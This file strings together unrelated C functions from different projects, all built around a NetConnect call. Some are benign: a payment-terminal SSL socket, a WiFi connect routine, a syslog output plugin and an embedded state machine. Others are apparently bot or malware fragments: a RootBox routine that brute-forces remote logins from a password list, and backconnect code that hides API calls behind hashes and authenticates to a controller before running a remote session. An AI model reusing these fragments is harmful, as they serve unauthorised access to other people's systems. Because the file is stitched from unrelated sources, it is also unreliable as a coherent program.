void ManageNewConnection( SOCKET Socket, ULONG uIP, USHORT uCid, USHORT uPort) { pWaitForSingleObject( hThreadMutex, INFINITE ); if ( dwConnections < MAX_CONN ) { Connections[ dwConnections ].thread_s = INVALID_SOCKET; Connections[ dwConnections ].s = Socket; Connections[ dwConnections ].ip = uIP; Connections[ dwConnections ].port = uPort; Connections[ dwConnections ].cid = uCid; Connections[ dwConnections ].bid = (USHORT)dwBid + 1; in_addr in; in.S_un.S_addr = uIP; Connections[ dwConnections ].thread_s = NetConnect( (char*)pinet_ntoa( in ), uPort ); dwBid++; DWORD ThreadId = 0; dwConnections++; Connections[ dwConnections - 1 ].hThread = pCreateThread( NULL, 0, ConnectionThread, (void*)Connections[ dwConnections - 1 ].bid, 0, &ThreadId ); } pReleaseMutex( hThreadMutex ); }
BOOL RootBox(char *szUsername, char *szServer, EXINFO exinfo) { int i=0; while (passwords[i]) { if (NetConnect(szUsername,passwords[i],szServer,exinfo) == TRUE) return TRUE; Sleep(200); i++; } return FALSE; }
static int SSLNetOpen(char *remote_addr, short remote_port, short local_port, long flag) { int iErrMsg, iRet; NET_SOCKADDR stSocketAddr; if(s_iSocket>= 0) { DebugOutput("%s--%d, s_iSocket:%d\n", __FILE__, __LINE__, s_iSocket); return s_iSocket; } s_iSocket = NetSocket(NET_AF_INET, NET_SOCK_STREAM, 0); DebugOutput("%s--%d--%s, s_iSocket:%d\n", __FILE__, __LINE__, __FUNCTION__, s_iSocket);//linzhao if (s_iSocket < 0) { return s_iSocket; } SockAddrSet(&stSocketAddr, remote_addr, remote_port); iErrMsg = NetConnect(s_iSocket, &stSocketAddr, sizeof(stSocketAddr)); DebugOutput("%s--%d--%s, iErrMsg:%d\n", __FILE__, __LINE__, __FUNCTION__, iErrMsg);//linzhao if (iErrMsg < 0) { iRet = NetCloseSocket(s_iSocket); DebugOutput("%s--%d, iRet;%d, s_iSocket:%d\n", __FILE__, __LINE__, iRet, s_iSocket); //linzhao //if (0==iRet) // s_iSocket = -1; switch (iErrMsg) { case NET_ERR_TIMEOUT: return -ERR_SSL_TIMEOUT; case NET_ERR_RST: return -ERR_SSL_NET; default: return iErrMsg; } } return s_iSocket; }
void InitSession( char *Host, int Port, char *Uid, char *Password ) { char Buffer[ 1024 ]; int r = 0; SOCKET Socket = NetConnect( Host, Port ); if ( Socket != INVALID_SOCKET ) { r = NetRecv( Socket, Buffer, 6 ); if ( r ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "HELLO\n", 6 ) ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, "%s:%s\n", Uid, Password ); NetSend( Socket, Buffer, m_lstrlen( Buffer ) ); if ( NetRecv( Socket, Buffer, 6 ) ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "READY\n", 6 ) ) { SessionWork( Socket ); } } } } pclosesocket( Socket ); }
int wifiConnect(uchar *inIp, uchar *inPort) { int i = 0; int ret; int trans_port; int event; int ret_num; char sBuff[33]; ST_WIFI_AP WifiAp; struct net_sockaddr server_addr; for (i = 0;i < 1; i++) // change 5 to 1 by wuc 2014.9.2 { ret = WifiCheck(&WifiAp); if (ret < 0) { ret = WifiApLogin(); if (ret != 0 && i != 4) { continue; } else if (ret != 0 && i == 4) { return ret; } else { break; } } else if (ret == 0) { DelayMs(500); continue; } else { break; } } trans_port = atoi(inPort); //如果TCP仍然连接,就不用再连接 if(wnet_socket_id >= 0) { event = Netioctl(wnet_socket_id, CMD_EVENT_GET, 0); if(event&(SOCK_EVENT_CONN|SOCK_EVENT_WRITE|SOCK_EVENT_READ)) { return 0; } } if(wnet_socket_id >= 0) { NetCloseSocket(wnet_socket_id); wnet_socket_id = -1; } ret = NetSocket(NET_AF_INET, NET_SOCK_STREAM, 0); if(ret < 0) { return -1; } wnet_socket_id = ret; /*ret = Netioctl(wnet_socket_id, CMD_TO_SET, 30*1000);//advice from S/W department if (ret != 0) { DebugOutput("ret = [%d]", ret); return ret; }*/ SockAddrSet(&server_addr, (char*)inIp, (short)trans_port); ret_num = NetConnect(wnet_socket_id, &server_addr, sizeof(server_addr)); if(ret_num < 0) { switch (ret_num) { case NET_ERR_ABRT: case NET_ERR_CONN: case NET_ERR_IF://linzhao strcpy(sBuff,_T("CONN FAIL")); break; case NET_ERR_RST: strcpy(sBuff,_T("CONN RESET")); break; case NET_ERR_CLSD: strcpy(sBuff,_T("CONN CLOSE")); break; case NET_ERR_RTE: strcpy(sBuff,_T("ROUTE ERR")); break; case NET_ERR_ISCONN: strcpy(sBuff,_T("CONN EXIST")); break; case NET_ERR_TIMEOUT: strcpy(sBuff,_T("CONN TIMOUT")); break; case NET_ERR_PASSWD: strcpy(sBuff,_T("PASSWORD ERR")); break; case NET_ERR_MODEM: strcpy(sBuff,_T("PPP FAIL")); break; case NET_ERR_LINKDOWN: case NET_ERR_LOGOUT: case NET_ERR_PPP: strcpy(sBuff,_T("RETRY PPP")); break; default: strcpy(sBuff,_T("UNKNOW ERR")); break; } ScrClrBelow(2); PubDispString(sBuff, DISP_LINE_LEFT|2); //Cielo要求去除返回码, linzhao // sprintf(sBuff, _T("code=%d "), ret_num); // PubDispString(sBuff, DISP_LINE_LEFT|3); PubWaitKey(2); NetCloseSocket(wnet_socket_id); wnet_socket_id = -1; return -1; } else return 0; }
int NetSend(OpSyslog_Data *op_data) { int sendSize = 0; int sendRetVal = 0; if(op_data == NULL) { /* XXX */ return 1; } if(NetTestSocket(op_data)) { if( NetConnect(op_data)) { FatalError("NetSend(): Failed to connect to host: [%s] %s:%u\n", db_proto[op_data->proto], op_data->server, op_data->port); } } sendSize=strlen(op_data->payload); if(op_data->local_logging == 1) { syslog(op_data->syslog_priority, op_data->payload); return 0; } switch(op_data->proto) { case 0: /* UDP */ if(sendto(op_data->socket,op_data->payload, strlen(op_data->payload), 0 , (struct sockaddr *)&op_data->sockaddr, sizeof(struct sockaddr)) <= 0) { /* XXX */ close(op_data->socket); op_data->socket = -1; return 1; } break; case 1: /* TCP */ sendRetVal = send(op_data->socket, op_data->payload, strlen(op_data->payload),0); if((sendRetVal < sendSize) || (sendRetVal < 0) ) { /* XXX */ perror("send():"); close(op_data->socket); op_data->socket = -1; return 1; } break; default: /* XXX */ return 1; break; } return 0; }
/* * init the output plugin, process any arguments, link the functions to * the output functional node */ void OpSyslog_Init(char *args) { OpSyslog_Data *syslogContext; if( args == NULL) { /* For later use... ErrorMessage("OpSyslog_Init(): Invoked with NULL arguments....\n"); return 1; */ FatalError("OpSyslog_Init(): Invoked with NULL arguments....\n"); } if( (syslogContext = OpSyslog_ParseArgs(args)) == NULL) { FatalError("OpSyslog_Init(): Error parsing output plugin arguments, bailing.\n"); } AddFuncToCleanExitList(OpSyslog_Exit,(void *)syslogContext); AddFuncToShutdownList(OpSyslog_Exit,(void *)syslogContext); switch(SyslogLogContext) { case OUTPUT_TYPE_FLAG__LOG: switch(syslogContext->operation_mode) { case 1: AddFuncToOutputList(OpSyslog_Log, OUTPUT_TYPE__LOG, (void *)syslogContext); break; case 0: default: LogMessage("[%s()]: OUTPUT_TYPE__LOG was selected but operation_mode is set to \"default\", using defaut logging hook \n", __FUNCTION__); AddFuncToOutputList(OpSyslog_Alert, OUTPUT_TYPE__ALERT, (void *)syslogContext); break; } case OUTPUT_TYPE_FLAG__ALERT: AddFuncToOutputList(OpSyslog_Alert, OUTPUT_TYPE__ALERT, (void *)syslogContext); break; default: FatalError("OpSyslog_Init(): Unknown operation mode...\n"); break; } /* Since we are in init phase */ syslogContext->socket = -1; if(NetConnect(syslogContext)) { FatalError("OpSyslog_Init(): Failed to connect to host: [%s] %s:%u\n", db_proto[syslogContext->proto], syslogContext->server, syslogContext->port); return; } if( (syslogContext->payload = malloc(SYSLOG_MAX_QUERY_SIZE)) == NULL) { FatalError("OpSyslog_Init(): Can't allocate payload memory, bailling \n"); } memset(syslogContext->payload,'\0',(SYSLOG_MAX_QUERY_SIZE)); if( (syslogContext->formatBuffer = malloc(SYSLOG_MAX_QUERY_SIZE)) == NULL) { FatalError("OpSyslog_Init(): Can't allocate payload memory, bailling \n"); } memset(syslogContext->formatBuffer,'\0',(SYSLOG_MAX_QUERY_SIZE)); OpSyslog_LogConfig(syslogContext); return; }
//============================================================================================= //说明:状态机函数,负责主模块各个工作状态下的运作 //参数: //============================================================================================= void SysRun(void) { switch(WorkSta1){ case(STA_NETCONNECT): //组网退网阶段 if(STA_NETCONNECT != WorkStaPre1){ NetConnect(TRUE); //设置为组网模式 StartTimeMs1 = ReadRunTime(); } /* else { EndTimeMs1 = ReadRunTime(); if( NETCNT_TIMEOUT < CheckTimeInterval(StartTimeMs1 , EndTimeMs1)){ //组网超时 NetConnect(FALSE); //退出组网模式 WorkSta1 = STA_STANDBY; //进入待机状态 } }*/ break; case(STA_SYNCHRONIZE): //同步阶段 // if(STA_SYNCHRONIZE != WorkStaPre1){ // Synchronize(); //同步命令,包含时钟信息, // } break; case(STA_BROADCAST): //广播阶段,向需要控制的从模块发送命令 // Broadcast(); //向各从模块发送控制命令 DataSend(); WorkSta1 = STA_STANDBY; break; case(STA_P2P): //大量数据点对点传输 break; case(STA_SLEEP): //休眠模式 break; case(STA_STANDBY): //待机状态 WorkStaPre1 = STA_STANDBY; break; default: break; } switch(WorkSta2){ case(STA_DATA): //维持心跳包及普通数据采集阶段 // DataReceive(); /* if(STA_DATA != WorkStaPre2){ // SetSPI1_RXMode(RX_P0_24L01,MOD1_RXADR); //设置为自身的地址 DataReceive(); WorkStaPre2 = STA_DATA; StartTimeMs3 = ReadRunTime(); } else{ EndTimeMs3 = ReadRunTime(); if( DATARECEIVE_SPAN < CheckTimeInterval(StartTimeMs3 , EndTimeMs3)){ //组网超时 WorkSta2 = STA_STANDBY; } } */ break; case(STA_STANDBY): //维持心跳包及普通数据采集阶段 break; case(STA_SLEEP): //休眠模式 break; default: break; } }